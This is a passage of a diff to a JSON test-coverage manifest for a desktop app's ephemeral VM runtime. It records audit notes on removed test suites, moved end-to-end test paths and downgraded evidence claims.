changed referenced test sources; no new red/green validation of the reduced set. Historical account: Byte-identical browser and simulator candidate tests failed 4/28 on affected baseline 012e9f410c, passed 28/28 on candidate fe45b73c20, failed the same 4/28 when only the two candidate filters were disabled, and returned to 28/28 after restoration. Review-round topology contracts failed 4/40 before the alias/generic/local-stamping follow-up; final-review contracts then failed 4/16 before folder/background/worktree-metadata hardening, 1/6 before paired repository-metadata hardening, 1/7 before unavailable-runtime fail-closed hardening, 1/12 with the component's physical-host bypass restored, 1/6 before review-cache ownership used the same resolver, 1/6 before the downstream document rejected a remote owner's unqualified legacy cache entry, and 1/6 when a host filter or scoped open-tab search hid the same-id sibling from legacy ambiguity detection. Manual local-provider ownership failed 1/12 before explicit host routing, and pre-hydration dedupe failed 1/13 before exact stamped-owner reuse; the combined contracts then passed 25/25 and the six-file review suite passed 73/73. The prior completed focused suite passed 225/225. Historical results include examples subsequently removed in the test-value audit; they do not establish current coverage for those removed assertions.\"},\"flakeHistory\":{\"status\":\"not-started\",\"evidence\":\"Changed selectors have no new soak result after Audit1396; any retained unchanged-source receipts apply only to their own commands. Historical account: Changed selectors have no new soak result after Audit1308; any retained unchanged-source receipts apply only to their own commands. Historical account: The candidate contract has no timers. Initial Electron attempts exposed seeded-worktree discovery and programmatic keyboard-selection harness races before the ownership assertions; soak history is not yet available.\"},\"runtimeBudget\":{\"p95Seconds\":180,\"scope\":\"Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands.\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Candidate construction adds bounded in-memory ownership filtering over the already-read worktree tab bucket and introduces no polling or network work.\"}}" ], "demotionRule": "Cannot promote if a same-id sibling tab duplicates, disappears, activates another host, or if ambiguous unstamped ownership is guessed." }, @@ -2342,19 +2272,19 @@ "platforms": ["macos", "linux", "windows"], "providers": ["orca-server", "direct-ssh"], "coveredPlatforms": ["macos"], - "coveredProviders": ["orca-server", "direct-ssh"], - "coverageNotes": "Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. The recipe-process suite loses its three-row UTF-8 tail-cap subprocess sample; keep the original POSIX process-group timeout case proving descendant death, with Windows explicitly skipped. The active synchronous-graceful-termination assertion reference was already absent from the adopted original source before this reduction; it is preserved verbatim in knownGaps as historical stale metadata rather than replaced by a different claim. Unrelated cross-version rollback receipt and all prior narratives remain exact. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. The rollback suite retains only exact preservation of an unknown future-version provisioning file and refusal of a new provisioning upsert. It retires malformed/oversized/merge/migration and old-reader schema projection examples; no actual old client runtime was executed by those removed cases. The IPC suite retains the immutable recipe snapshot used by an actual destroy child after plugin removal; other IPC validation/lifecycle projections are retired. Existing unrelated pinned rollback reproduction receipt retains its original scope. Audit3413 composes root-adopted3405/independent3406 and3409/independent3410: intentionally removes337 authored registrations/363potential expanded cases from13sources, retaining31authored/32potential cases and deleting one whole clipboard suite, without equivalent replacement or fresh execution. The runtime-service source intentionally loses14of16cases: ordinary lifecycle/retry/configuration/cleanup projections, unreadable-companion refusal and successful post-create compensation examples are retired. Keep only non-JSON credential refusal before provider launch and failed compensation after post-create persistence failure, with old-readable recovery identity across two local injected faults. This does not prove a subsequent retry or actual remote provider cleanup. Existing unrelated rollback reproduction receipt remains exact; no fresh execution, protection change or equivalent replacement claimed. Audit 3292 retires the direct-SSH failed-project retention, managed-server failed-project retention and ordinary confirmed managed-VM destruction/no-repo.rm examples from repos-ephemeral-vm-cleanup-retention.test.ts. Host-scoped same-workspace isolation and stale renderer catalog reconciliation remain byte-identical. These three supplied-result alarms are intentionally lost without equivalent replacement. Existing selectors/assertionRefs, unrelated cross-version rollback receipt and archived complete 122-case cleanup receipt remain exact; no fresh broad runtime, provider, platform or mixed-version result is claimed. Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts: removes the imported project setup before destroying its VM; retains the VM when setup deletion throws; retains the VM when setup deletion reports no result. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Exact retired assertionRefs, preserved as historical objects only: {\n \"file\": \"src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts\",\n \"assertions\": [\"failed or unconfirmed project-host rollback prevents provider destroy\"]\n } Historical prior account (preserved verbatim): Audit1634 removes low-value IPC, filesystem and runtime projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1441 removes the complete renderer VM-runtime settings suite: display filter/status/SSH-retry flags, cleanup and stop RPC-to-toast/dialog plumbing, manual-copy plumbing and polling toast silence. The suite did not execute provider teardown or process cancellation. Its rendered stop/retry and hidden-SSH display alarms are intentionally retired; no equivalent replacement or fresh reduced-selector runtime result is claimed. Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/lib/ephemeral-vm-workspace-target.test.ts: Loses wrapper-level host rebinding, incompatible provisioned-root refusal and best-effort cleanup-call alarms; all are mock-only orchestration projections. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): A pinned exact-source harness runs the pre-#14352 reader and lifecycle service against baseline, affected-main, candidate, and fix-reverted stores. Platform-neutral tests cover store compatibility, user-cancellable cleanup, branch/ref adoption; audit885 removes the direct resume ownership predicate alarms. The direct-SSH provisioned-root Electron journey remains the live transport and destroy proof; this desktop sidecar is not mobile-facing and changes no RPC or remote wire payload. The test-value audit removed the renderer provisioned-root create-options suite. Its two incomplete-identity rejection assertions are lost: one omitted workspaceRunContext and other identity fields, and one supplied the context but omitted ephemeralVmExpectedRefHead. The suite did not test successful option mapping. Retained source-ref and lifecycle suites do not establish equivalent renderer guard coverage. Audit1342: src/renderer/src/lib/ephemeral-vm-runtime-cleanup.test.ts removed. Runtime/SSH ownership, encoded target, retry/failure/listing-error cleanup projection samples disappear. No equivalent replacement coverage is claimed.", + "coveredProviders": [], + "coverageNotes": "Protection is limited to unchanged-selector receipts; remapped E2E journeys are unexecuted after E2E layout cleanup. Historical account: Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. The recipe-process suite loses its three-row UTF-8 tail-cap subprocess sample; keep the original POSIX process-group timeout case proving descendant death, with Windows explicitly skipped. The active synchronous-graceful-termination assertion reference was already absent from the adopted original source before this reduction; it is preserved verbatim in knownGaps as historical stale metadata rather than replaced by a different claim. Unrelated cross-version rollback receipt and all prior narratives remain exact. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. The rollback suite retains only exact preservation of an unknown future-version provisioning file and refusal of a new provisioning upsert. It retires malformed/oversized/merge/migration and old-reader schema projection examples; no actual old client runtime was executed by those removed cases. The IPC suite retains the immutable recipe snapshot used by an actual destroy child after plugin removal; other IPC validation/lifecycle projections are retired. Existing unrelated pinned rollback reproduction receipt retains its original scope. Audit3413 composes root-adopted3405/independent3406 and3409/independent3410: intentionally removes337 authored registrations/363potential expanded cases from13sources, retaining31authored/32potential cases and deleting one whole clipboard suite, without equivalent replacement or fresh execution. The runtime-service source intentionally loses14of16cases: ordinary lifecycle/retry/configuration/cleanup projections, unreadable-companion refusal and successful post-create compensation examples are retired. Keep only non-JSON credential refusal before provider launch and failed compensation after post-create persistence failure, with old-readable recovery identity across two local injected faults. This does not prove a subsequent retry or actual remote provider cleanup. Existing unrelated rollback reproduction receipt remains exact; no fresh execution, protection change or equivalent replacement claimed. Audit 3292 retires the direct-SSH failed-project retention, managed-server failed-project retention and ordinary confirmed managed-VM destruction/no-repo.rm examples from repos-ephemeral-vm-cleanup-retention.test.ts. Host-scoped same-workspace isolation and stale renderer catalog reconciliation remain byte-identical. These three supplied-result alarms are intentionally lost without equivalent replacement. Existing selectors/assertionRefs, unrelated cross-version rollback receipt and archived complete 122-case cleanup receipt remain exact; no fresh broad runtime, provider, platform or mixed-version result is claimed. Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts: removes the imported project setup before destroying its VM; retains the VM when setup deletion throws; retains the VM when setup deletion reports no result. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Exact retired assertionRefs, preserved as historical objects only: {\n \"file\": \"src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts\",\n \"assertions\": [\"failed or unconfirmed project-host rollback prevents provider destroy\"]\n } Historical prior account (preserved verbatim): Audit1634 removes low-value IPC, filesystem and runtime projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1441 removes the complete renderer VM-runtime settings suite: display filter/status/SSH-retry flags, cleanup and stop RPC-to-toast/dialog plumbing, manual-copy plumbing and polling toast silence. The suite did not execute provider teardown or process cancellation. Its rendered stop/retry and hidden-SSH display alarms are intentionally retired; no equivalent replacement or fresh reduced-selector runtime result is claimed. Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/lib/ephemeral-vm-workspace-target.test.ts: Loses wrapper-level host rebinding, incompatible provisioned-root refusal and best-effort cleanup-call alarms; all are mock-only orchestration projections. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): A pinned exact-source harness runs the pre-#14352 reader and lifecycle service against baseline, affected-main, candidate, and fix-reverted stores. Platform-neutral tests cover store compatibility, user-cancellable cleanup, branch/ref adoption; audit885 removes the direct resume ownership predicate alarms. The direct-SSH provisioned-root Electron journey remains the live transport and destroy proof; this desktop sidecar is not mobile-facing and changes no RPC or remote wire payload. The test-value audit removed the renderer provisioned-root create-options suite. Its two incomplete-identity rejection assertions are lost: one omitted workspaceRunContext and other identity fields, and one supplied the context but omitted ephemeralVmExpectedRefHead. The suite did not test successful option mapping. Retained source-ref and lifecycle suites do not establish equivalent renderer guard coverage. Audit1342: src/renderer/src/lib/ephemeral-vm-runtime-cleanup.test.ts removed. Runtime/SSH ownership, encoded target, retry/failure/listing-error cleanup projection samples disappear. No equivalent replacement coverage is claimed.", "motivatingLinks": [ "https://linear.app/stably/issue/STA-4274", "https://github.com/stablyai/orca/pull/14352", "https://github.com/stablyai/orca/issues/13044" ], "invariant": "A sidecar written by the new build cannot make the previous production build lose otherwise compatible VM runtimes. Downgrade lifecycle writes remain authoritative after re-upgrade, provisioned-root metadata remains recoverable, and corrupt or future feature metadata is preserved without poisoning the rollback-readable v1 store. Destroy attempts have no automatic wall-clock cutoff; a user stop terminates the process tree, retains cleanup ownership, and permits a fresh retry. Provider failure retains the SSH/project context needed for safe cleanup. Unrecoverable recipe context releases only the hidden SSH registration while preserving lifecycle/provider metadata. Provisioned-root create receives the source ref's pinned commit, adoption verifies the requested branch/ref, and resume preserves the connection mode plus stable SSH ownership identity while allowing endpoint rotation.", - "oracle": "Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. The recipe-process suite loses its three-row UTF-8 tail-cap subprocess sample; keep the original POSIX process-group timeout case proving descendant death, with Windows explicitly skipped. The active synchronous-graceful-termination assertion reference was already absent from the adopted original source before this reduction; it is preserved verbatim in knownGaps as historical stale metadata rather than replaced by a different claim. Unrelated cross-version rollback receipt and all prior narratives remain exact. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. The rollback suite retains only exact preservation of an unknown future-version provisioning file and refusal of a new provisioning upsert. It retires malformed/oversized/merge/migration and old-reader schema projection examples; no actual old client runtime was executed by those removed cases. The IPC suite retains the immutable recipe snapshot used by an actual destroy child after plugin removal; other IPC validation/lifecycle projections are retired. Existing unrelated pinned rollback reproduction receipt retains its original scope. Audit3413 composes root-adopted3405/independent3406 and3409/independent3410: intentionally removes337 authored registrations/363potential expanded cases from13sources, retaining31authored/32potential cases and deleting one whole clipboard suite, without equivalent replacement or fresh execution. The runtime-service source intentionally loses14of16cases: ordinary lifecycle/retry/configuration/cleanup projections, unreadable-companion refusal and successful post-create compensation examples are retired. Keep only non-JSON credential refusal before provider launch and failed compensation after post-create persistence failure, with old-readable recovery identity across two local injected faults. This does not prove a subsequent retry or actual remote provider cleanup. Existing unrelated rollback reproduction receipt remains exact; no fresh execution, protection change or equivalent replacement claimed. Audit 3292 retires the direct-SSH failed-project retention, managed-server failed-project retention and ordinary confirmed managed-VM destruction/no-repo.rm examples from repos-ephemeral-vm-cleanup-retention.test.ts. Host-scoped same-workspace isolation and stale renderer catalog reconciliation remain byte-identical. These three supplied-result alarms are intentionally lost without equivalent replacement. Existing selectors/assertionRefs, unrelated cross-version rollback receipt and archived complete 122-case cleanup receipt remain exact; no fresh broad runtime, provider, platform or mixed-version result is claimed. Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts: removes the imported project setup before destroying its VM; retains the VM when setup deletion throws; retains the VM when setup deletion reports no result. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Exact retired assertionRefs, preserved as historical objects only: {\n \"file\": \"src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts\",\n \"assertions\": [\"failed or unconfirmed project-host rollback prevents provider destroy\"]\n } Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Write one ordinary schema-v1 runtime and one provisioned-root runtime. Require the exact pre-#14352 reader to return both, run the old destroy lifecycle against the projected provisioned record, then require the candidate to retain the cleaned state while restoring schema-v2 and checkout-mode metadata. The same old reader must reject affected-main and fix-reverted bytes. Malformed, oversized, unknown-record, and future-version feature sidecars must leave rollback-compatible records accessible and must not be overwritten during compatible lifecycle mutations. Require destroy to have no implicit deadline, stop a hung destroy through the public desktop action, require cleanup_failed plus a fresh successful retry, prove provider or project-host rollback failure retains every ownership record required to retry, and prove missing recipe context cannot leave an unremovable hidden SSH registration. Supply the source ref's captured commit to create, reject a provisioned checkout on the wrong branch/ref, and reject a resume that changes connection mode or SSH ownership.", + "oracle": "Protection is limited to unchanged-selector receipts; remapped E2E journeys are unexecuted after E2E layout cleanup. Historical account: Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. The recipe-process suite loses its three-row UTF-8 tail-cap subprocess sample; keep the original POSIX process-group timeout case proving descendant death, with Windows explicitly skipped. The active synchronous-graceful-termination assertion reference was already absent from the adopted original source before this reduction; it is preserved verbatim in knownGaps as historical stale metadata rather than replaced by a different claim. Unrelated cross-version rollback receipt and all prior narratives remain exact. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. The rollback suite retains only exact preservation of an unknown future-version provisioning file and refusal of a new provisioning upsert. It retires malformed/oversized/merge/migration and old-reader schema projection examples; no actual old client runtime was executed by those removed cases. The IPC suite retains the immutable recipe snapshot used by an actual destroy child after plugin removal; other IPC validation/lifecycle projections are retired. Existing unrelated pinned rollback reproduction receipt retains its original scope. Audit3413 composes root-adopted3405/independent3406 and3409/independent3410: intentionally removes337 authored registrations/363potential expanded cases from13sources, retaining31authored/32potential cases and deleting one whole clipboard suite, without equivalent replacement or fresh execution. The runtime-service source intentionally loses14of16cases: ordinary lifecycle/retry/configuration/cleanup projections, unreadable-companion refusal and successful post-create compensation examples are retired. Keep only non-JSON credential refusal before provider launch and failed compensation after post-create persistence failure, with old-readable recovery identity across two local injected faults. This does not prove a subsequent retry or actual remote provider cleanup. Existing unrelated rollback reproduction receipt remains exact; no fresh execution, protection change or equivalent replacement claimed. Audit 3292 retires the direct-SSH failed-project retention, managed-server failed-project retention and ordinary confirmed managed-VM destruction/no-repo.rm examples from repos-ephemeral-vm-cleanup-retention.test.ts. Host-scoped same-workspace isolation and stale renderer catalog reconciliation remain byte-identical. These three supplied-result alarms are intentionally lost without equivalent replacement. Existing selectors/assertionRefs, unrelated cross-version rollback receipt and archived complete 122-case cleanup receipt remain exact; no fresh broad runtime, provider, platform or mixed-version result is claimed. Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts: removes the imported project setup before destroying its VM; retains the VM when setup deletion throws; retains the VM when setup deletion reports no result. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Exact retired assertionRefs, preserved as historical objects only: {\n \"file\": \"src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts\",\n \"assertions\": [\"failed or unconfirmed project-host rollback prevents provider destroy\"]\n } Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Write one ordinary schema-v1 runtime and one provisioned-root runtime. Require the exact pre-#14352 reader to return both, run the old destroy lifecycle against the projected provisioned record, then require the candidate to retain the cleaned state while restoring schema-v2 and checkout-mode metadata. The same old reader must reject affected-main and fix-reverted bytes. Malformed, oversized, unknown-record, and future-version feature sidecars must leave rollback-compatible records accessible and must not be overwritten during compatible lifecycle mutations. Require destroy to have no implicit deadline, stop a hung destroy through the public desktop action, require cleanup_failed plus a fresh successful retry, prove provider or project-host rollback failure retains every ownership record required to retry, and prove missing recipe context cannot leave an unremovable hidden SSH registration. Supply the source ref's captured commit to create, reject a provisioned checkout on the wrong branch/ref, and reject a resume that changes connection mode or SSH ownership.", "commands": [ "node config/scripts/runtime-verification/ephemeral-store/run-ephemeral-vm-runtime-store-rollback-repro.mjs config/scripts/runtime-verification/ephemeral-store/ephemeral-vm-runtime-store-cross-version.test.ts", "pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtime-store.test.ts src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtime-store-rollback.test.ts src/shared/remote-runtime/ephemeral-vm-recipes/ephemeral-vm-recipe-process.test.ts src/main/ephemeral-vm/runtime-service.test.ts src/main/ephemeral-vm/recipe-runner.test.ts src/main/ephemeral-vm/runtime-ssh-cleanup.test.ts src/main/ipc/ephemeral-vm/ephemeral-vm-provision-cancel.test.ts src/main/ipc/ephemeral-vm/ephemeral-vm.test.ts src/renderer/src/store/repos/repos-ephemeral-vm-cleanup-retention.test.ts", - "pnpm exec playwright test tests/e2e/ephemeral-vm-cleanup-retry.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" + "pnpm exec playwright test tests/e2e/remote/ssh-hosts/ephemeral-vm-cleanup-retry.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" ], "testFiles": [ "config/scripts/runtime-verification/ephemeral-store/ephemeral-vm-runtime-store-cross-version.test.ts", @@ -2368,7 +2298,7 @@ "src/main/ipc/ephemeral-vm/ephemeral-vm-provision-cancel.test.ts", "src/main/ipc/ephemeral-vm/ephemeral-vm.test.ts", "src/renderer/src/store/repos/repos-ephemeral-vm-cleanup-retention.test.ts", - "tests/e2e/ephemeral-vm-cleanup-retry.spec.ts" + "tests/e2e/remote/ssh-hosts/ephemeral-vm-cleanup-retry.spec.ts" ], "assertionRefs": [ { @@ -2388,12 +2318,6 @@ { "file": "src/main/ipc/ephemeral-vm/ephemeral-vm-provision-cancel.test.ts", "assertions": ["cancellation during source-ref resolution aborts before provider create"] - }, - { - "file": "tests/e2e/ephemeral-vm-cleanup-retry.spec.ts", - "assertions": [ - "the rendered runtime row stops a live cleanup process without an automatic deadline and a retry succeeds" - ] } ], "evidenceRuns": [ @@ -2410,19 +2334,19 @@ ], "runtimeBudget": { "p95Seconds": 180, - "scope": "Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." }, "flakeHistory": { - "status": "unknown", - "evidence": "Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: The deterministic contract runs are stable. Two local Electron attempts reached successful adoption and terminal use, then hit the existing final context-menu detach; the immediate build-reuse rerun completed removal and destroy. CI soak history has not started." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: The deterministic contract runs are stable. Two local Electron attempts reached successful adoption and terminal use, then hit the existing final context-menu detach; the immediate build-reuse rerun completed removal and destroy. CI soak history has not started." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit2056 retires the exact deleted-source assertion alarms recorded in knownGaps; prior changed-source red/green claims are historical. Unrelated retained-source evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The same pinned oracle passes the pre-#14352 ordinary store, fails the affected-main mixed store with file-is-invalid, passes the candidate mixed store plus old-service destroy and re-upgrade, and fails again when the candidate compatibility files are reverted to affected main." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit2056 retires the exact deleted-source assertion alarms recorded in knownGaps; prior changed-source red/green claims are historical. Unrelated retained-source evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The same pinned oracle passes the pre-#14352 ordinary store, fails the affected-main mixed store with file-is-invalid, passes the candidate mixed store plus old-service destroy and re-upgrade, and fails again when the candidate compatibility files are reverted to affected main." }, "performanceBudget": { "required": true, - "evidence": "Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Ordinary writes remain byte-identical and create no feature sidecar. Reads add one bounded feature-file existence check; sorted feature comparisons avoid unchanged rewrites, and durable companion writes occur only when compatibility metadata changes. Cleanup adds one constant-size in-flight controller per active destroy and no automatic deadline; the visible settings section polls once per second only while cleanup is active. Provisioning adds one source-host Git ref-resolution command only when a ref was requested and runs it before provider create; adoption adds no remote subprocess beyond its existing checkout probes, and resume adds only in-memory comparisons." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Ordinary writes remain byte-identical and create no feature sidecar. Reads add one bounded feature-file existence check; sorted feature comparisons avoid unchanged rewrites, and durable companion writes occur only when compatibility metadata changes. Cleanup adds one constant-size in-flight controller per active destroy and no automatic deadline; the visible settings section polls once per second only while cleanup is active. Provisioning adds one source-host Git ref-resolution command only when a ref was requested and runs it before provider create; adoption adds no remote subprocess beyond its existing checkout probes, and resume adds only in-memory comparisons." }, "promotionCriteria": [ "Keep the pinned baseline/latest/candidate/revert oracle green in CI.", @@ -2453,7 +2377,10 @@ "Audit3446 archived original assertionRef after source reduction; historical scope only, raw original object follows:\n{\n \"file\": \"src/shared/ephemeral-vm-runtime-store-rollback.test.ts\",\n \"assertions\": [\n \"malformed, future, oversized, and unknown feature data is preserved without poisoning v1 records\",\n \"current-main poisoned bytes migrate to a rollback-readable projection\"\n ]\n }", "Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. The recipe-process suite loses its three-row UTF-8 tail-cap subprocess sample; keep the original POSIX process-group timeout case proving descendant death, with Windows explicitly skipped. The active synchronous-graceful-termination assertion reference was already absent from the adopted original source before this reduction; it is preserved verbatim in knownGaps as historical stale metadata rather than replaced by a different claim. Unrelated cross-version rollback receipt and all prior narratives remain exact. All prior notes and archived receipts retain original scopes.", "Audit3456 preserves this pre-existing stale assertion reference verbatim as historical metadata only; the synchronous termination case was already absent from exact adopted base before this reduction: {\n \"file\": \"src/shared/ephemeral-vm-recipe-process.test.ts\",\n \"assertions\": [\n \"synchronous graceful termination settles cancellation and clears the force-kill timer\"\n ]\n }", - "IPC/PTY folder cleanup at predecessor d23e47411ae7cfcd2ce51187d3ae07ff0a95e586 retires whole TEST Programs from current selectors: src/main/ipc/ephemeral-vm-provisioned-root-ref.test.ts, src/main/ipc/ephemeral-vm-runtime-handler-cleanup.test.ts. Their complete authored alarms are intentionally lost. No equivalent replacement, fresh execution, new runtime/performance result, cross-platform, remote, mobile or folder-workspace proof is claimed. Unrelated retained dated receipts remain scoped only to exact unchanged commands. Complete original current selector/assertion fields verbatim:\ncommands: [\n \"node config/scripts/runtime-verification/ephemeral-store/run-ephemeral-vm-runtime-store-rollback-repro.mjs config/scripts/runtime-verification/ephemeral-store/ephemeral-vm-runtime-store-cross-version.test.ts\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtime-store.test.ts src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtime-store-rollback.test.ts src/shared/remote-runtime/ephemeral-vm-recipes/ephemeral-vm-recipe-process.test.ts src/main/ephemeral-vm/runtime-service.test.ts src/main/ephemeral-vm/recipe-runner.test.ts src/main/ephemeral-vm/runtime-ssh-cleanup.test.ts src/main/ipc/ephemeral-vm-runtime-handler-cleanup.test.ts src/main/ipc/ephemeral-vm-provision-cancel.test.ts src/main/ipc/ephemeral-vm-provisioned-root-ref.test.ts src/main/ipc/ephemeral-vm.test.ts src/renderer/src/store/repos/repos-ephemeral-vm-cleanup-retention.test.ts\",\n \"pnpm exec playwright test tests/e2e/ephemeral-vm-cleanup-retry.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]\ntestFiles: [\n \"config/scripts/runtime-verification/ephemeral-store/ephemeral-vm-runtime-store-cross-version.test.ts\",\n \"config/scripts/runtime-verification/ephemeral-store/run-ephemeral-vm-runtime-store-rollback-repro.mjs\",\n \"src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtime-store-rollback.test.ts\",\n \"src/shared/remote-runtime/ephemeral-vm-store/ephemeral-vm-runtime-store.test.ts\",\n \"src/shared/remote-runtime/ephemeral-vm-recipes/ephemeral-vm-recipe-process.test.ts\",\n \"src/main/ephemeral-vm/runtime-service.test.ts\",\n \"src/main/ephemeral-vm/recipe-runner.test.ts\",\n \"src/main/ephemeral-vm/runtime-ssh-cleanup.test.ts\",\n \"src/main/ipc/ephemeral-vm-runtime-handler-cleanup.test.ts\",\n \"src/main/ipc/ephemeral-vm-provision-cancel.test.ts\",\n \"src/main/ipc/ephemeral-vm-provisioned-root-ref.test.ts\",\n \"src/main/ipc/ephemeral-vm.test.ts\",\n \"src/renderer/src/store/repos/repos-ephemeral-vm-cleanup-retention.test.ts\",\n 